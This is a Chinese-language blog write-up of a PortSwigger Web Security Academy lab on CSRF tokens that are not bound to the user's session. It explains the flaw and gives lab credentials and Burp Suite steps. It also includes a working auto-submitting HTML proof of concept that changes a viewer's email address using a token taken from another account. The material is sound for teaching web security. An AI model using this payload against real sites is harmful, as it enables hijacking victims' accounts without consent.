Lab: CSRF where token is not tied to user session:CSRF,其中令牌与用户会话无关
本实验室的电子邮件更改功能易受 CSRF 攻击。它使用令牌来尝试防止 CSRF 攻击,但它们没有集成到站点的会话处理系统中。
要解决该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。
您在应用程序上有两个帐户,可用于帮助设计攻击。凭据如下:
wiener:peter
carlos:montoya
CSRF 令牌不绑定到用户会话
某些应用程序不会验证令牌是否与发出请求的用户属于同一会话。相反,应用程序维护一个它已发行的全局令牌池,并接受出现在该池中的任何令牌。
在这种情况下,攻击者可以使用自己的帐户登录应用程序,获取有效的令牌,然后在 CSRF 攻击中将该令牌提供给受害用户。
使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,并拦截由此产生的请求。
记下CSRF 令牌的值,然后删除请求。
打开一个私人/隐身浏览器窗口,登录到您的另一个帐户,然后将更新电子邮件请求发送到 Burp Repeater。
请注意,如果您将 CSRF 令牌与其他帐户的值交换,则该请求将被接受。
把下面的代码放到服务器
代码内容:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://aca81f421ff8845b80496c0d005500d4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="ExtArE@qq.com" />
<input type="hidden" name="csrf" value="HxJzDofFGkr67rPbKYMun2ZqChlB0vw4" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
注意:csrf只能用一次,所以我们需要修改邮箱的时候阻断报文的传输
然后将其没用过的csrf复制到代码中
存储漏洞,然后单击“交付给受害者”以解决实验室问题。
所以这玩意是跨平台的:
本文来自博客园,作者:{Zeker62},转载请注明原文链接:https://www.cnblogs.com/Zeker62/p/15188614.html